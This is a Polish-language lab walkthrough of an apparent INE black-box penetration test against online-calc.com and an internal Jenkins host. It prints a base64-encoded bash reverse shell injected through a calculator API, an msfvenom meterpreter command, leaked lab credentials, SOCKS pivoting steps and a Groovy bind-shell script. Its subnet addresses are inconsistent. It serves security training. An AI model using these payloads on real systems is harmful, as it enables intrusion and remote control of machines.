Description

Lab Environment

In this lab environment, the user is going to get access to a Kali GUI instance. A web server can be accessed using the tools installed on Kali on http://online-calc.com. However, there is another machine in the setup which is not accessible from the Kali machine but is accessible from the web server.

Objective: Compromise both machines to retrieve the flags!

Tools

The best tools for this lab are:

  • dirb
  • Metasploit Framework
  • Proxychains
  • A Web Browser

Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course, will dramatically reduce the benefits of a hands-on lab!


Black-Box Penetration Test 2 - 20.06.2022 r.

Na start otrzymujemy link do strony http://online-calc.com.

Po przejściu ukazuje się jedynie strona domyślna Apache2.

root@INE:~# ping online-calc.com
PING online-calc.com (192.154.245.3) 56(84) bytes of data.
64 bytes from online-calc.com (192.154.245.3): icmp_seq=1 ttl=64 time=0.115 ms
64 bytes from online-calc.com (192.154.245.3): icmp_seq=2 ttl=64 time=0.048 ms

Po spingowaniu wiem, że IP to 192.154.245.3.

Nmap

root@INE:~# nmap -sC -sV 192.154.245.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 05:21 IST
Nmap scan report for online-calc.com (192.154.245.3)
Host is up (0.0000090s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, RTSPRequest, SMBProgNeg, ZendJavaBridge:                                                                                                                          
|     HTTP/1.1 400 Bad Request                                                                                                                                                              
|     Connection: close                                                                                                                                                                     
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 1127
|     Content-Disposition: inline; filename="index.html"
|     Accept-Ranges: bytes
|     ETag: "e021c45eee1c6fcb7629edafba897555f86958c5"
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Sun, 19 Jun 2022 23:51:45 GMT
|     Connection: close
|     <!DOCTYPE html><html lang=en><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1"><link rel=icon href=/favicon.ico><title>online-calc</title><style type=text/css>/* Your local CSS File */
|     @font-face {
|     font-family: 'Roboto';
|     font-style: normal;
|     font-weight: 700;
|     src: local('Roboto-Regular'), local('Roboto-Medium'), url(fonts/Roboto-Medium.ttf) format('truetype');
|_    }</style><link href=/css/main.7ee6b179.css rel=prefetch><link href=/js/main.7112507e.js rel=prefetch><link hre
8000/tcp open  http    Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-title: Site doesnt have a title (text/html; charset=utf-8).
| http-git: 
|   192.154.245.3:8000/.git/
|     Git repository found!
|     .git/config matched patterns 'passw' 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: Minor formatting and removed unneeded functions... 
|     Remotes:
|_      http://online-calc.com/projects/online-calc
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.92%I=7%D=6/20%Time=62AFB691%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,583,HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x201127\r\nCont
SF:ent-Disposition:\x20inline;\x20filename=\"index\.html\"\r\nAccept-Range
SF:s:\x20bytes\r\nETag:\x20\"e021c45eee1c6fcb7629edafba897555f86958c5\"\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nVary:\x20Accept-Encodi
SF:ng\r\nDate:\x20Sun,\x2019\x20Jun\x202022\x2023:51:45\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=en><head><meta\x20c
SF:harset=utf-8><meta\x20http-equiv=X-UA-Compatible\x20content=\"IE=edge\"
SF:><meta\x20name=viewport\x20content=\"width=device-width,initial-scale=1
SF:\"><link\x20rel=icon\x20href=/favicon\.ico><title>online-calc</title><s
SF:tyle\x20type=text/css>/\*\x20Your\x20local\x20CSS\x20File\x20\*/\n\x20\
SF:x20\x20\x20\x20\x20@font-face\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20font-family:\x20'Roboto';\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0font-style:\x20normal;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20700;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20src:\x20local\(
SF:'Roboto-Regular'\),\x20local\('Roboto-Medium'\),\x20url\(fonts/Roboto-M
SF:edium\.ttf\)\x20format\('truetype'\);\n\x20\x20\x20\x20\x20\x20}</style
SF:><link\x20href=/css/main\.7ee6b179\.css\x20rel=prefetch><link\x20href=/
SF:js/main\.7112507e\.js\x20rel=prefetch><link\x20hre")%r(RTSPRequest,2F,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
SF:DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nConnection:\x20close\r\n\r\n")%r(ZendJavaBridge,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,
SF:583,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x201127\r\nContent-Dispo
SF:sition:\x20inline;\x20filename=\"index\.html\"\r\nAccept-Ranges:\x20byt
SF:es\r\nETag:\x20\"e021c45eee1c6fcb7629edafba897555f86958c5\"\r\nContent-
SF:Type:\x20text/html;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nDat
SF:e:\x20Sun,\x2019\x20Jun\x202022\x2023:51:45\x20GMT\r\nConnection:\x20cl
SF:ose\r\n\r\n<!DOCTYPE\x20html><html\x20lang=en><head><meta\x20charset=ut
SF:f-8><meta\x20http-equiv=X-UA-Compatible\x20content=\"IE=edge\"><meta\x2
SF:0name=viewport\x20content=\"width=device-width,initial-scale=1\"><link\
SF:x20rel=icon\x20href=/favicon\.ico><title>online-calc</title><style\x20t
SF:ype=text/css>/\*\x20Your\x20local\x20CSS\x20File\x20\*/\n\x20\x20\x20\x
SF:20\x20\x20@font-face\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font
SF:-family:\x20'Roboto';\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-sty
SF:le:\x20normal;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x2
SF:0700;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20src:\x20local\('Roboto-R
SF:egular'\),\x20local\('Roboto-Medium'\),\x20url\(fonts/Roboto-Medium\.tt
SF:f\)\x20format\('truetype'\);\n\x20\x20\x20\x20\x20\x20}</style><link\x2
SF:0href=/css/main\.7ee6b179\.css\x20rel=prefetch><link\x20href=/js/main\.
SF:7112507e\.js\x20rel=prefetch><link\x20hre);
MAC Address: 02:42:C0:9A:F5:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds

Od razu moją uwagę przykuł port 8000. Sprawdziłem go najpierw małym słownikiem common.txt, a następnie większym, domyślnym raft-medium-directories.txt.

root@INE:~# feroxbuster -u http://online-calc.com:8000 -w /usr/share/seclists/Discovery/Web-Content/common.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 邏                 ver: 2.4.1
───────────────────────────┬──────────────────────
   Target Url            │ http://online-calc.com:8000
   Threads               │ 50
   Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
   Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
   Timeout (secs)7
 說  User-Agent            │ feroxbuster/2.4.1
   Config File           │ /etc/feroxbuster/ferox-config.toml
   Recursion Depth       │ 4
───────────────────────────┴──────────────────────
   Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200        1l        2w       23c http://online-calc.com:8000/.git/HEAD
200       92l      244w     1474c http://online-calc.com:8000/.git/config
200        2l        4w      209c http://online-calc.com:8000/.git/index
200       52l      186w     1985c http://online-calc.com:8000/console
root@INE:~# feroxbuster -u http://192.154.245.3:8000

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 邏                 ver: 2.4.1
───────────────────────────┬──────────────────────
   Target Url            │ http://192.154.245.3:8000
   Threads               │ 50
   Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
   Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
   Timeout (secs)7
 說  User-Agent            │ feroxbuster/2.4.1
   Config File           │ /etc/feroxbuster/ferox-config.toml
   Recursion Depth       │ 4
───────────────────────────┴──────────────────────
   Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200       52l      186w     1985c http://192.154.245.3:8000/console
200        1l        3w       31c http://192.154.245.3:8000/evaluate
[####################] - 1m     29999/29999   0s      found:2       errors:1      
[####################] - 1m     29999/29999   452/s   http://192.154.245.3:8000

/console

/evaluate

Podstrona /console zdaje się mieć zabezpieczenie poprzez PIN. Sprawdziłem jak wpisanie przykładowego pinu i wciśnięcię Confirm PIN widać w BurpSuite.

Zmieniłem jedną cyfre w pinie. Parametr s nie zmienił się. Postanowiłem spróbować bruteforca, ponieważ serwer daje wyraźny response o niepoprawnym pinie.

/.git

Są pewne dane dostępu jeremy:diamonds.

Jest również wzmianka o dodatkowym URLu. Ponieważ jest to remote orgin, prawdopodobnie możemy go sklonować.

root@INE:~# git clone http://online-calc.com/projects/online-calc
Cloning into 'online-calc'...
remote: Counting objects: 26, done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 26 (delta 8), reused 0 (delta 0)
Unpacking objects: 100% (26/26), 4.25 KiB | 724.00 KiB/s, done.
root@INE:~/online-calc# ls -al
total 24
drwxr-xr-x 3 root root 4096 Jun 20 17:03 .
drwx------ 1 root root 4096 Jun 20 17:03 ..
-rw-r--r-- 1 root root 2233 Jun 20 17:03 API.py
drwxr-xr-x 8 root root 4096 Jun 20 17:03 .git
-rw-r--r-- 1 root root  387 Jun 20 17:03 utils.py

Plik API.py zawiera informacje o działaniu kalkulatora z portu 5000.

Test aplikacji kalkulatora BurpSuite

Po wykonaniu testowego “zapytania” otrzymałem w Burpie taki request.

Prawdopodobnie chodzi o parametr expr. Dozwolone znaki to 0123456789+-*/%.()". Niestety po zbyt wielu próbach jest komunikat Access Denied": "Too many requests., zatem zawaansowany sqlmap nie wchodzi w grę.

Można powiedzieć, że uzyskałem Command Injection. Zauważyłem, że przy wpisywaniu funkcji Pythona, API wyrzuca komunikaty. Można to wykorzystać importując bibliotekę os, która pozwala na wykonywanie prostych komend.

Rozumiałem, że muszę oszukać system, by przechwycić “nieporządane” znaki do payloada. Dodałem wszystkie duże i małe litery oraz inne do dozwolonych znaków. W ten sposób program “przepuszcza” mój request.

Ostateczny payload wygląda tak:

{"expr":"__import__('os').system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuODAuOC4yLzkwMDEgMD4mMSIK | base64 -d | bash')"}

Wykonuje on poniższy kod:

bash -c "bash -i >& /dev/tcp/192.80.8.2/9001 0>&1"

Nasłuchiwanie na porcie 9001 i uruchomienie requesta w BurpSuite powoduje otrzymanie shella.

W folderze roota nie było flagi. Znalazłem ją poprzez find.

find . -name flag

Flaga była w folderze /tmp

flag

3b2b474c06380f696b38c1498f795e054374

Pivot do drugiej maszyny

root@online-calc:/# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
    link/ipip 0.0.0.0 brd 0.0.0.0
29400: eth0@if29401: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:c0:50:08:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.80.8.3/24 brd 192.80.8.255 scope global eth0
       valid_lft forever preferred_lft forever
29402: eth1@if29403: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:c0:cf:ce:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.207.206.2/24 brd 192.207.206.255 scope global eth1
       valid_lft forever preferred_lft forever

Adres obecnej maszyny do której musimy się dostać to 192.207.206.x. Ponieważ nie mam dostępu do narzędzi “spoza” środowiska. Muszę użyć msfvenom i Metasploit.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.80.8.2 LPORT=9010 -f elf > exp.bin

Pobrałem plik z maszyny używając serwera http od Pythona. Włączyłem Metasploit na multi/handler oraz ten sam payload co msfvenom czyli linux/x64/meterpreter/reverse_tcp oraz IP. Dostałem połączenie. Próbowałem wykonać pivot poprzez autoroute w Metasploicie jednak coś nie działało poprawnie. Musiałem użyć modułu auxiliary/server/socks_proxy. Jednak najpierw muszę przeprowadzić routing na nową podsieć.

msf6 exploit(multi/handler) > route add 192.43.33.0/24 1
[*] Route added

Ustawiam port na 9050, ponieważ INE w swoich labach ma domyślne ustawienia SOCKS w `` /etc/proxychains4.conf na port socks4 127.0.0.1 9050.

Wiedziałem, że druga maszyna ma IP 192.207.206.3 z poprzednich prób z Metasploitem.

Teraz możemy przerowadzić skan portów przez proxychains.

use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a

msf6 auxiliary(server/socks_proxy) > proxychains nmap -sT -P0 192.207.206.3
Nmap scan report for ns1.recife.pe.gov.br (192.207.206.3)
Host is up (0.0011s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE
8080/tcp open  http-proxy

Teraz po tych wszystkich operacjach, gdy wejdziemy w proxy przeglądarki i ustawimy na 127.0.0.1 port z proxychaina czyli 9050, możemy wejść na port 8080 z “obcej” sieci.

Panel Jenkins

Wersja Jenkins ver. 2.225.

Prosty command injection w Jenkinsie.

cmd='whoami'
println cmd.execute().text

Otrzymanie shella jest równie proste.

int port=5555;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Następnie łączę się z drugą maszyną przez dany port 5555.

root@INE:/usr/share/nishang/Shells# proxychains nc -v 192.43.33.3 5555
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Ncat: Version 7.92 ( https://nmap.org/ncat )
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  192.43.33.3:5555  ...  OK
Ncat: Connected to 192.43.33.3:5555.
id 
uid=105(jenkins) gid=108(jenkins) groups=108(jenkins)

:)